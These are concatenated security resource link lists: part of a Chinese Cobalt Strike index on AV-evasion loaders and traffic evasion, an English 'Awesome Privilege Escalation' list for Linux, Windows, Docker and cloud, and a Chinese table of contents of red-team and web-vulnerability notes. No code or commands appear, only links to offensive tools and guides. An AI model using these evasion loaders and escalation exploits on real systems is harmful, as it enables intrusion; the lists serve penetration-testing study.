一、特征修改
二、流量免杀
三、功能添加
四、其他魔改
- [ ] https://mp.weixin.qq.com/s/AePKPUDnBUr4WbJqvPCleg
- [ ] https://github.com/Yang0615777/SecondaryDevCobaltStrike
- [ ] https://github.com/mai1zhi2/SharpBeacon
- [ ] https://github.com/HKirito/GoogleAuth
- [ ] https://github.com/Cobalt-Strike/sleep_python_bridge
- [ ] https://github.com/bestspear/SharkOne
## 07-CobaltStrike免杀
- https://github.com/jimsonzhang/Ortau
一、流量免杀
- [ ] https://github.com/timwhitez/Doge-CSBridge
二、上线免杀
- https://github.com/0e0w/BypassAV
- [ ] https://github.com/hack2fun/BypassAV
- [ ] https://github.com/Cliov/Arsenal
- [ ] https://github.com/Gality369/CS-Loader
- [ ] https://github.com/timwhitez/Doge-Loader
- [ ] https://paper.seebug.org/1349/
- [ ] https://github.com/t3hbb/NSGenCS
- [ ] https://github.com/GeorgePatsias/ScareCrow-CobaltStrike
- [ ] https://wiki.ioin.in/url/G7PK
- [ ] https://github.com/novysodope/Myloader
## 08-CobaltStrike参考
- https://www.cobaltstrike.com
[](https://starchart.cc/BOFs/CobaltStrike) |
# Awesome Privilege Escalation
A curated list of awesome privilege escalation
## Table of Contents
* [Linux](#linux)
* [Escape restricted shells](#escape-restricted-shells)
* [SUDO and SUID](#sudo-and-suid)
* [Capabilities](#capabilities)
* [Tools](#tools)
* [Find CVEs](#find-cves)
* [Chkrootkit](#chkrootkit)
* [NFS](#nfs)
* [Presentations](#presentations)
* [Windows](#windows)
* [DLL Hijacking](#dll-hijacking)
* [Potato](#potato)
* [Unquoted services with spaces](#unquoted-services-with-spaces)
* [Groups.xml](#groupsxml)
* [Tools](#tools-1)
* [Presentations](#presentations-1)
* [Linux and Windows](#linux-and-windows)
* [Docker](#docker)
* [Tools](#tools-2)
* [Presentations](#presentations-2)
* [Cloud](#cloud)
* [AWS](#aws)
* [GCP](#gcp)
## Linux
- [A guide to Linux Privilege Escalation](https://payatu.com/guide-linux-privilege-escalation/)
- [Attack and Defend: LinuxPrivilege Escalation Techniques of 2016](https://www.sans.org/reading-room/whitepapers/linux/attack-defend-linux-privilege-escalation-techniques-2016-37562): This paper will examine Linux privilege escalation techniques used throughout 2016 in detail, highlighting how these techniques work and how adversaries are using them.
- [Back To The Future: Unix Wildcards Gone Wild](https://www.defensecode.com/public/DefenseCode_Unix_WildCards_Gone_Wild.txt): This article will cover one interesting old-school Unix hacking technique, that will still work in 2013.
- [Basic Linux Privilege Escalation](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/): by g0tmi1k
- [Enumeration is the Key](https://medium.com/basic-linux-privilege-escalation/basic-linux-privilege-escalation-966de11f9997): by Marcos Tolosa
- [Hackers Hut](https://www.win.tue.nl/~aeb/linux/hh/hh.html): Some random hacking hints, mainly from a Linux point of view.
- [Hacking Linux Part I: Privilege Escalation](http://www.dankalia.com/tutor/01005/0100501004.htm)
- [How privileges work in operating systems?](https://www.future-processing.pl/blog/privilege-escalation/)
- [Linux elevation of privileges ToC](https://guif.re/linuxeop)
- [Linux - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md): Methodology from PayloadsAllTheThings
- [Linux Privilege Escalation](https://percussiveelbow.github.io/linux-privesc/): an introduction to Linux escalation techniques, mainly focusing on file/process permissions, but along with some other stuff too.
- [Linux Privilege Escalation](https://github.com/lamontns/pentest/blob/master/privilege-escalation/linux-privilege-escalation.md): Linux Privilege Escalation by lamontns.
- [Linux Privilege Escalation](https://book.hacktricks.xyz/linux-unix/privilege-escalation): by HackTricks
- [Linux Privilege Escalation via Dynamically Linked Shared Object Library](https://www.contextis.com/en/blog/linux-privilege-escalation-via-dynamically-linked-shared-object-library): How RPATH and Weak File Permissions can lead to a system compromise.
- [Local Linux Enumeration & Privilege Escalation Cheatsheet](https://www.rebootuser.com/?p=1623): a few Linux commands that may come in useful when trying to escalate privileges on a target system.
- [Local Linux Enumeration & Privilege Escalation](https://hackingandsecurity.blogspot.com/2016/05/local-linux-enumeration-privilege.html): a few Linux commands that may come in useful when trying to escalate privileges on a target system.
- [Local Linux privilege escalation overview](https://myexperiments.io/linux-privilege-escalation.html): This article will give an overview of the basic Linux privilege escalation techniques. It separates the local Linux privilege escalation in different scopes: kernel, process, mining credentials, sudo, cron, NFS, and file permission.
- [Penetration-Testing-Grimoire/Privilege Escalation/linux.md](https://github.com/weaknetlabs/Penetration-Testing-Grimoire/blob/master/Privilege%20Escalation/linux.md)
- [PENETRATION TESTING PRACTICE LAB - VULNERABLE APPS / SYSTEMS](https://www.amanhardikar.com/mindmaps/Practice.html)
- [Pentest Book - Privilege Escalation](https://chryzsh.gitbooks.io/pentestbook/privilege_escalation_-_linux.html): common Linux privilege escalation techniques.
- [POST CATEGORY : Privilege Escalation](https://www.hackingarticles.in/category/privilege-escalation/): Privilege escalation post category in Raj Chandel's Blog.
- [Privilege Escalation Cheatsheet (Vulnhub)](https://github.com/Ignitetechnologies/Privilege-Escalation): This cheasheet is aimed at the CTF Players and Beginners to help them understand the fundamentals of Privilege Escalation with examples.
- [Privilege escalation: Linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
- [Privilege Escalation & Post-Exploitation](https://github.com/rmusser01/Infosec_Reference/blob/master/Draft/PrivescPostEx.md)
- [Reach the root! How to gain privileges in Linux?](https://hackmag.com/security/reach-the-root/)
- [TTY Input Pushback Privilege Escalation](https://www.halfdog.net/Security/2012/TtyPushbackPrivilegeEscalation/): When user working as root switches to another user with su and happens to execute the pushback program as that user, the tty input data pushed back is executed in the shell and context of user root.
- [Understanding Privilege Escalation](http://www.admin-magazine.com/Articles/Understanding-Privilege-Escalation): Some techniques malicious users employ to escalate their privileges on a Linux system.
### Escape restricted shells
- [Breaking out of rbash using scp](http://pentestmonkey.net/blog/rbash-scp)
- [Escaping from Restricted Shell and Gaining Root Access to SolarWinds Log & Event Manager (SIEM) Product](https://pentest.blog/unexpected-journey-4-escaping-from-restricted-shell-and-gaining-root-access-to-solarwinds-log-event-manager-siem-product/)
- [Escaping Restricted Linux Shells](https://pen-testing.sans.org/blog/pen-testing/2012/06/06/escaping-restricted-linux-shells): Resource for penetration testers to assist them when confronted with a restricted shell.
- [Linux Restricted Shell Bypass](https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf)
- [Restricted Linux Shell Escaping Techniques](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/): The focus of this article is on discussing and summarizing different techniques to escape common Linux restricted shells and also simple recommendations for administrators to protect against it.
### SUDO and SUID
- [Abusing SUDO](https://touhidshaikh.com/blog/?p=790): Some of the binary which helps you to escalate privilege using the sudo command.
- [Gaining a Root shell using MySQL User Defined Functions and SETUID Binaries](https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/): How a MySQL User Defined Function (UDF) and a SETUID binary can be used to elevate user privilege to a root shell.
- [GTFOBins](https://gtfobins.github.io/): GTFOBins is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
- [How I got root with Sudo](https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/)
- [Sudo (LD_PRELOAD)](https://touhidshaikh.com/blog/?p=827): Privilege Escalation from an LD_PRELOAD environment variable.
### Capabilities
- [An Interesting Privilege Escalation vector (getcap/setcap)](https://nxnjz.net/2018/08/an-interesting-privilege-escalation-vector-getcap/)
- [Capabilities](https://wiki.archlinux.org/index.php/Capabilities)
- [Exploiting capabilities](http://blog.sevagas.com/IMG/pdf/exploiting_capabilities_the_dark_side.pdf): Parcel root power, the dark side of capabilities
- [getcap, setcap and file capabilities](https://www.insecure.ws/linux/getcap_setcap.html)
- [Spicing up your own access with capabilities](https://www.redpill-linpro.com/sysadvent/2016/12/06/spicing-up-your-access.html)
### Tools
- [AutoLocalPrivilegeEscalation](https://github.com/ngalongc/AutoLocalPrivilegeEscalation): An automated script that download potential exploit for linux kernel from exploitdb, and compile them automatically.
- [BeRoot](https://github.com/AlessandroZ/BeRoot): BeRoot Project is a post exploitation tool to check common misconfigurations to find a way to escalate our privilege.
exploits.
- [exploit-suggester](https://github.com/pentestmonkey/exploit-suggester): This tool reads the output of “showrev -p” on Solaris machines and outputs a list of exploits that you might want to try.
is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as word writable files, misconfigurations, clear-text password and applicable
- [kernelpop](https://github.com/spencerdodd/kernelpop): kernelpop is a framework for performing automated kernel vulnerability enumeration and exploitation.
- [LES](https://github.com/mzet-/linux-exploit-suggester): LES: Linux privilege escalation auditing tool
- [LinEnum](https://github.com/rebootuser/LinEnum): Scripted local Linux enumeration & privilege escalation checks
- [LinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS): Linux Privilege Escalation Awesome Script
- [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2): Next-generation exploit suggester based on Linux_Exploit_Suggester
- [Linux_Exploit_Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester): Linux Exploit Suggester; based on operating system release number.
- [linux-kernel-exploits](https://github.com/SecWiki/linux-kernel-exploits)
- [Linuxprivchecker.py](https://github.com/sleventyeleven/linuxprivchecker): This script is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as world writable files, misconfigurations, clear-text passwords and applicable exploits.
- [Linux Privilege Escalation Check Script](https://github.com/linted/linuxprivchecker): Originally forked from the linuxprivchecker.py (Mike Czumak), this script is intended to be executed locally on a Linux box to enumerate basic system info and search for common privilege escalation vectors such as word writable files, misconfigurations, clear-text password and applicable exploits.
- [linux-smart-enumeration](https://github.com/diego-treitos/linux-smart-enumeration): Linux enumeration tools for pentesting and CTFs
- [linux-soft-exploit-suggester](https://github.com/belane/linux-soft-exploit-suggester): linux-soft-exploit-suggester finds exploits for all vulnerable software in a system helping with the privilege escalation.
- [PrivEsc](https://github.com/1N3/PrivEsc): A collection of Windows, Linux and MySQL privilege escalation scripts and exploits.
- [pspy](https://github.com/DominicBreuker/pspy): unprivileged Linux process snooping
- [traitor](https://github.com/liamg/traitor): Automatically exploit low-hanging fruit to pop a root shell. Linux privilege escalation made easy!
- [unix-privesc-check](https://github.com/pentestmonkey/unix-privesc-check): Shell script to check for simple privilege escalation vectors on Unix systems
- [Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack): Exploits for getting local root on Linux, BSD, AIX, HP-UX, Solaris, RHEL, SUSE etc.
- [uptux](https://github.com/initstring/uptux): Specialized privilege escalation checks for Linux systems.
#### Find CVEs
- [active-cve-check](https://github.com/davbo/active-cve-check): Checks a list of packages against the "active" (not yet patched) CVE's as listed in the Ubuntu CVE Tracker.
- [Arch-Audit](https://www.2daygeek.com/arch-audit-a-tool-to-check-vulnerable-packages-in-arch-linux/): A tool to check vulnerable packages in Arch Linux.
- [cve-check-tool](https://github.com/clearlinux/cve-check-tool): Original Automated CVE Checking Tool.
- [LPVS](https://github.com/lwindolf/lpvs): Linux Package Vulnerability Scanner for CentOS and Ubuntu.
### Chkrootkit
- [Local root exploit in Chkrootkit](https://lepetithacker.wordpress.com/2017/04/30/local-root-exploit-in-chkrootkit/): Security researchers have found an local exploit for Chkrootkit 0.49 who allow to a simple user to make root’s commands.
### NFS
- [Exploiting a Mis-Configured NFS Share](https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson4/index.html)
- [Linux Privilege Escalation using Misconfigured NFS](https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/): How to exploit a misconfigured NFS share to gain root access to a remote host machine.
- [NFS weak permissions](https://touhidshaikh.com/blog/?p=788)
- [Linux Privilege Escalation using weak NFS permissions](https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/): t Linux Privilege Escalation using weak NFS permissions in “/etc/exports”. by Haider Mahmood
### Presentations
- [Linux privilege escalation for fun, profit, and all around mischief](https://www.irongeek.com/i.php?page=videos/bsidesaugusta2016/its-too-funky-in-here04-linux-privilege-escalation-for-fun-profit-and-all-around-mischief-jake-williams): Examine opportunities for privilege escalation that can vault you from zero to hero in a few easy steps.
- [Linux Privilege Escalation - Tradecraft Security Weekly #22](https://www.youtube.com/watch?v=oYHAi0cgur4): Methodology for performing various privilege escalation techniques against Linux-based systems.
- [Privilege Escalation FTW](https://www.youtube.com/watch?v=yXe4X-AIbps): Demonstrate various privilege escalation techniques that are possible primarily due to misconfigurations.
## Windows
- [awesome-windows-security](https://github.com/chryzsh/awesome-windows-security#-privilege-escalation)
- [LOLBAS](https://lolbas-project.github.io/): Living Off The Land Binaries and Scripts (and also Libraries)
- [OSCP Windows PrivEsc - Part 1](https://butter0verflow.github.io/oscp/OSCP-WindowsPrivEsc-Part1/)
- [Privilege Escalation](https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/): There are also various other (local) exploits that can be used to also escalate privileges.
- [Privilege Escalation Windows](https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html)
- [Privilege escalation: Windows](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-windows)
- [Windows elevation of privileges ToC](https://guif.re/windowseop)
- [Windows Local Privilege Escalation](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation): by HackTricks
- [Windows Post Gather Modules](https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/): Metasploit offers a number of post exploitation modules that allow for further information gathering on your target network.
- [Windows Priv Esc](https://www.sock-raw.org/wiki/doku.php/windows_priv_esc)
- [Windows Privilege Escalation Fundamentals](https://www.fuzzysecurity.com/tutorials/16.html)
- [Windows Privilege Escalation Guide](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [Windows-Privilege-Escalation](https://github.com/frizb/Windows-Privilege-Escalation): Step-by-step windows privlege escalation methodology.
- [Windows-Privilege-Escalation-Resources](https://github.com/Gr1mmie/Windows-Privilege-Escalation-Resources): Compilation of Resources from TCM's Windows Priv Esc Udemy Course. By Gr1mmie
- [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)
- [Windows Privilege Escalation](http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation)
- [Windows Privilege Escalation](https://github.com/lamontns/pentest/blob/master/privilege-escalation/windows-privilege-escalation.md): Windows Privilege Escalation by lamontns.
- [Windows Privilege Escalations](https://www.exploit-db.com/docs/46131)
### DLL Hijacking
- [DLL Hijacking](https://ired.team/offensive-security/privilege-escalation/t1038-dll-hijacking): DLL Search Order Hijacking for privilege escalation, code execution, etc. by Red Teaming Experiments
- [DLL Hijacking](https://pentestlab.blog/2017/03/27/dll-hijacking/): by PentestLab
- [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038/): by MITRE
- [PrivEsc: DLL Hijacking](https://web.archive.org/web/20210805085547/https://gracefulsecurity.com/privesc-dll-hijacking/): by GracefulSecurity
- [Windows Privilege Escalation via DLL Hijacking](https://web.archive.org/web/20200215215536/https://hacknpentest.com/windows-privilege-escalation-dll-hijacking/): Crystal-clear view on one of the most used techniques for privilege escalation by the Threat Actors. by HacknPentest
### Potato
- [CertPotato](https://sensepost.com/blog/2022/certpotato-using-adcs-to-privesc-from-virtual-and-network-service-accounts-to-local-system/): Using ADCS to privesc from virtual and network service accounts to local system.
- [Hot Potato](https://pentestlab.blog/2017/04/13/hot-potato/): Hot potato is the code name of a Windows privilege escalation technique that was discovered by Stephen Breen. This technique is actually a combination of two known windows issues like NBNS spoofing and NTLM relay with the implementation of a fake WPAD proxy server which is running locally on the target host.
- [Hot Potato](https://securityonline.info/hot-potato-windows-privilege-escalation-metasploit-powershellhot-potato-windows-privilege-escalation/): Windows 7, 8, 10, Server 2008, Server 2012 Privilege Escalation in Metasploit & PowerShell.
- [Hot Potato – Windows Privilege Escalation](https://foxglovesecurity.com/2016/01/16/hot-potato/): Privilege Escalation on Windows 7, 8, 10, Server 2008, Server 2012 … and a new network attack.
- [Juicy Potato (abusing the golden privileges)](https://ohpe.it/juicy-potato/)
- [No more JuicyPotato? Old story, welcome RoguePotato!](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/): by decoder_it and splinter_code/antonioCoco
- [Remote Potato](https://pentestlab.blog/2021/05/04/remote-potato-from-domain-user-to-enterprise-admin/): Remote Potato – From Domain User to Enterprise Admin
- [Rotten Potato – Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/)
### Unquoted services with spaces
- [Practical Guide to exploiting the unquoted service path vulnerability in Windows](https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/)
- [PrivEsc: Unquoted Service Path](https://web.archive.org/web/20210731080629/https://gracefulsecurity.com/privesc-unquoted-service-path/)
- [Unquoted Service Path](https://pentestlab.blog/2017/03/09/unquoted-service-path/)
- [UNQUOTED SERVICE PATHS](https://web.archive.org/web/20210421085608/https://www.commonexploits.com/unquoted-service-paths/)
- [Windows Privilege Escalation — Part 1 (Unquoted Service Path)](https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service-path-c7a011a8d8ae)
- [Windows Privilege Escalation – Unquoted Services](https://web.archive.org/web/20210616195939/https://www.ethicalhacker.net/community/windows-privilege-escalation-unquoted-services/)
- [Windows Privilege Escalation via Unquoted Service Paths](https://hausec.com/2018/10/05/windows-privilege-escalation-via-unquoted-service-paths/)
### Groups.xml
- [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
- [gpp-decrypt Package Description](https://tools.kali.org/password-attacks/gpp-decrypt): A simple ruby script that will decrypt a given GPP encrypted string.
### PrintNightmare
- [Universal Privilege Escalation and Persistence](https://pentestlab.blog/2021/08/02/universal-privilege-escalation-and-persistence-printer/): The Print Spooler is responsible to manage and process printer jobs. It runs as a service with SYSTEM level privileges on windows environments.
### Tools
- [ADAPE-Script](https://github.com/hausec/ADAPE-Script): Active Directory Assessment and Privilege Escalation Script by hausec
- [GodPotato](https://github.com/BeichenDream/GodPotato): GodPotato enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have "ImpersonatePrivilege" permission.
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS): JAWS is PowerShell script designed to help penetration testers (and CTFers) quickly identify potential privilege escalation vectors on Windows systems. It is written using PowerShell 2.0 so 'should' run on every Windows version since Windows 7.
- [juicy-potato](https://github.com/ohpe/juicy-potato): A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.
- [Potato](https://github.com/foxglovesec/Potato): Potato Privilege Escalation on Windows 7, 8, 10, Server 2008, Server 2012.
- [PowerSploit](https://github.com/PowerShellMafia/PowerSploit): PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.
- [PrivescCheck](https://github.com/itm4n/PrivescCheck): Enumerate common Windows security misconfigurations which can be leveraged for privilege escalation and gather various information which might be useful for exploitation and/or post-exploitation, by itm4n.
- [RemotePotato0](https://github.com/antonioCoco/RemotePotato0): Just another "Won't Fix" Windows Privilege Escalation from User to Domain Admin by antonioCoco.
- [RoguePotato](https://github.com/antonioCoco/RoguePotato): Another Windows Local Privilege Escalation from Service Account to System by splinter_code/antonioCoco
- [RottenPotato](https://github.com/foxglovesec/RottenPotato): RottenPotato local privilege escalation from service account to SYSTEM. (No longer maintained)
- [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): New version of RottenPotato as a C++ DLL and standalone C++ binary - no need for meterpreter or other tools.
- [Seatbelt](https://github.com/GhostPack/Seatbelt): Project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
- [SessionGopher](https://github.com/Arvanaghi/SessionGopher): SessionGopher is a PowerShell tool that finds and decrypts saved session information for remote access tools.
- [Sherlock](https://github.com/rasta-mouse/Sherlock/): PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities. (Deprecated)
- [SweetPotato](https://github.com/CCob/SweetPotato): Local Service to SYSTEM privilege escalation from Windows 7 to Windows 10 / Server 2019 by CCob
- [Tater](https://github.com/Kevin-Robertson/Tater): Tater is a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit.
- [Watson](https://github.com/rasta-mouse/Watson): Watson is a .NET tool designed to enumerate missing KBs and suggest exploits for Privilege Escalation vulnerabilities.
- [WindowsEnum](https://github.com/absolomb/WindowsEnum): A Powershell Privilege Escalation Enumeration Script.
- [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester): This tool compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also notifies the user if there are public exploits and Metasploit modules available for the missing bulletins. By AonCyberLabs
- [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng): WES-NG is a tool based on the output of Windows' systeminfo utility which provides the list of vulnerabilities the OS is vulnerable to, including any exploits for these vulnerabilities. Every Windows OS between Windows XP and Windows 10, including their Windows Server counterparts, is supported. By bitsadmin
- [windows-privesc-check](https://github.com/pentestmonkey/windows-privesc-check): Standalone executable that runs on Windows systems. It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps (e.g. databases).
- [winPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS): Windows Privilege Escalation Awesome Scripts
- [WinPwnage](https://github.com/rootm0s/WinPwnage): UAC bypass, Elevate, Persistence and Execution methods. The goal of this repo is to study the Windows penetration techniques.
### Presentations
- [Level Up! Practical Windows Privilege Escalation - Andrew Smith](https://www.youtube.com/watch?v=PC_iMqiuIRQ)
- [Level Up! - Practical Windows Privilege Escalation (Presentation Slides)](https://pt.slideshare.net/jakx_/level-up-practical-windows-privilege-escalation)
- [SANS Webcast: Pen Testing with PowerShell - Local Privilege Escalation Techniques](https://www.youtube.com/watch?v=bAnohAiAQ7U)
- [Windows Privilege Escalation Techniques (Local) - Tradecraft Security Weekly #2](https://www.youtube.com/watch?v=DlJyKgfkoKQ)
- [Windows Privilege Escalation Unquoted Service - Part 1](https://www.youtube.com/watch?v=G9yn3qNq7Vw)
- [Windows Privilege Escalation Unquoted Service - Part 2](https://www.youtube.com/watch?v=jfZ8FKTFNTE)
- [Windows Privilege Escalation Unquoted Service - Part 3](https://www.youtube.com/watch?v=RORaqh1DIco)
## Linux and Windows
- [Awesome-Hacking-Resources (Privilege escalation section)](https://github.com/vitalysim/Awesome-Hacking-Resources#privilege-escalation): A collection of hacking / penetration testing resources to make you better!
- [Metasploit Local Exploit Suggester: Do Less, Get More!](https://blog.rapid7.com/2015/08/11/metasploit-local-exploit-suggester-do-less-get-more/)
- [My 5 Top Ways to Escalate Privileges](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/my-5-top-ways-to-escalate-privileges/): Bruno Oliveira's top 5 favorite ways for accomplishing privilege escalation in the most practical ways possible.
- [Privilege Escalation](https://pentestlab.blog/category/privilege-escalation/): Privilege Escalation category by pentestlab.blog
- [Recipe for Root](https://recipeforroot.com/): Your Cookbook for Privilege Escalation
- [Windows / Linux Local Privilege Escalation Workshop](https://github.com/sagishahar/lpeworkshop)
## Docker
- [Bypassing Docker Authz Plugin and Using Docker-Containerd for Privesc](https://staaldraad.github.io/post/2019-07-11-bypass-docker-plugin-with-containerd/): by Staaldraad.
- [Container security notes](https://gist.github.com/FrankSpierings/5c79523ba693aaa38bc963083f48456c)
- [Dirty COW - (CVE-2016-5195) - Docker Container Escape](https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/)
- [Docker Breakout](https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout): by HackTricks
- [Docker security checklist](https://github.com/PercussiveElbow/docker-security-checklist)
- [Don't expose the Docker socket (not even to a container)](https://web.archive.org/web/20190623234615/https://www.lvh.io/posts/dont-expose-the-docker-socket-not-even-to-a-container.html)
- [Escaping Docker Privileged Containers](https://betterprogramming.pub/escaping-docker-privileged-containers-a7ae7d17f5a1): by Vickie Li
- [Escaping Containers to Execute Commands on Play with Docker Servers](https://www.bleepingcomputer.com/news/security/escaping-containers-to-execute-commands-on-play-with-docker-servers/)
- [Escaping Docker container using waitid() – CVE-2017-5123](https://www.twistlock.com/labs-blog/escaping-docker-container-using-waitid-cve-2017-5123/)
- [Escaping the Whale: Things you probably shouldn’t do with Docker (Part 1)](https://blog.secureideas.com/2018/05/escaping-the-whale-things-you-probably-shouldnt-do-with-docker-part-1.html)
- [Hack Allows Escape of Play-with-Docker Containers](https://threatpost.com/hack-allows-escape-of-play-with-docker-containers/140831/)
- [Hacking Docker the Easy way](https://pt.slideshare.net/BorgHan/hacking-docker-the-easy-way)
- [Understanding Docker container escapes](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/): by Trail of Bits
### Tools
- [BOtB](https://github.com/brompwnie/botb): BOtB is a container analysis and exploitation tool designed to be used by pentesters and engineers while also being CI/CD friendly with common CI/CD technologies.
- [CDK](https://github.com/cdk-team/CDK): CDK is an open-sourced container penetration toolkit, offering stable exploitation in different slimmed containers without any OS dependency.
- [Deepce](https://github.com/stealthcopter/deepce): Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
- [Dokcer-escape-tool](https://github.com/PercussiveElbow/docker-escape-tool): This tool will help identify if you're in a Docker container and try some quick escape techniques to help assess the security of your containers.
- [PrivilegedDockerEscape](https://github.com/0x03f3/PrivilegedDockerEscape): A bash script to create an interactive shell from a privileged docker container to the container host
### Presentations
- [Introduction to Docker Hacking](https://www.youtube.com/watch?v=XiLfEU9wK-w): by NahamSec
## Cloud
### AWS
- [AWS-IAM-Privilege-Escalation](https://github.com/RhinoSecurityLabs/AWS-IAM-Privilege-Escalation): A centralized source of all AWS IAM privilege escalation methods released by Rhino Security Labs.
#### Tools
- [Pacu](https://github.com/RhinoSecurityLabs/pacu): The AWS exploitation framework, designed for testing the security of Amazon Web Services environments. By RhinoSecurityLabs.
### GCP
- [Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/): Very deep-dive into manual post-exploitation tactics and techniques for GCP.
- [GCP-IAM-Privilege-Escalation](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): IAM Privilege Escalation in GCP by RhinoSecurity.
#### Tools
- [GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute): A script to enumerate Google Storage buckets, determine what access you have to them, and determine if they can be privilege escalated. By RhinoSecurity.
|
#### 公开笔记
* [SDL - 安全开发生命周期 实践与意义](sdl.md)
* [SDL - API设计规范 CheckList](sdl_API.md)
* [NTA - 网络流量分析 抓包实践(wireshark/Tshark)](NTA_analysis.md)
* [NTA - 网络流量分析 IDS/IPS 原理 引擎 规则(suricata)](NTA_suricata.md)
* [web - vul - SQLi 原理 利用方式 修复方案](web_vul_SQLi.md)
* [web - vul - SSRF 原理 利用方式 修复方案](web_vul_SSRF.md)
* [web - vul - XSS 原理 利用方式 修复方案](web_vul_XSS.md)
* [web - vul - CSRF 原理 利用方式 修复方案](web_vul_CSRF.md)
* [web - vul - Path Traversal 原理 利用方式 修复方案](web_vul_PathTraversal.md)
* [web - vul - Upload 原理 利用方式 修复方案](web_vul_upload.md)
* [web - vul - Deserialization 原理 利用方式 修复方案](web_vul_Deserialization.md)
* [web - vul - Command Injection 原理 利用方式 修复方案](web_vul_CommandInjection.md)
* [web - vul - Open Redirection 原理 利用方式 修复方案](web_vul_OpenRedirection.md)
* [web - vul - Clickjacking 原理 利用方式 修复方案](web_vul_ClickJacking.md)
* [web - SQLi sqlmap 常用参数 tamper详解 实际案例](sec_sqlmap.md)
* [web - WEB应用安全部署架构 及 WAFbypass](web_WAF_bypass.md)
* [web - 基础 - 密码学基础及应用(TLS 数字证书) 非对称加密RSA](web_x_https_tls.md)
* [web - 基础 - 浏览器的同源策略(SOP) 跨域方案(CORS JSONP) 内容安全策略(CSP)](web_x_SOP.md)
* [web - 基础 - HTTP协议 HTTP/2](web_HTTP.md)
* [web - 代码审计 - PHP 代码审计 思路 实践 Checklist (find grep)](web_code_audit_PHP.md) **private_update**
* [web - 整理 - 靶场WebGoat8的搭建 WriteUp](z_web_webgoat.md)
* [web - 整理 - 爬虫分类](z_web_crawl.md)
* [web - burp 设置 插件 技巧](web_x_burp.md)
* [web - burp Intruder的4种攻击方式](web_x_burp_Intruder.md)
* [Red - 公网信息搜集 - 搜索引擎(Google/shodan) 代码仓库(Github) Domain IP 历史信息](sec_info_gathering.md)
* [Red - APT Phishing - 鱼叉邮件 & 钓鱼网站](sec_Phishing.md)
* [Red - APT Phishing - 鱼叉邮件中的payload载体(office EvilClippy)](sec_Phishing_mail_payload.md)
* [Red - 多维度的免杀 无文件攻击 (对抗 终端安全 流量分析 逆向分析 行为分析)](sec_evasion.md)
* [Red - 后渗透 - 权限维持 信息搜集 白利用 (ATT&CK backdoor PostExploitation) BypassUAC](sec_RAT_post_exploitation.md)
* [Red - DLL Hijacking 原理 利用方式](sec_vul_DllHijacking.md)
* [Red - 主机信息搜集+提权 windows](sec_PrivilegeEscalation_windows.md)
* [Red - 主机信息搜集+提权 linux](sec_PrivilegeEscalation_linux.md)
* [Red - 主机信息搜集 应急响应 macOS](sec_mac.md)
* [Red - 构建高适应性的C2基础设施](sec_C2.md)
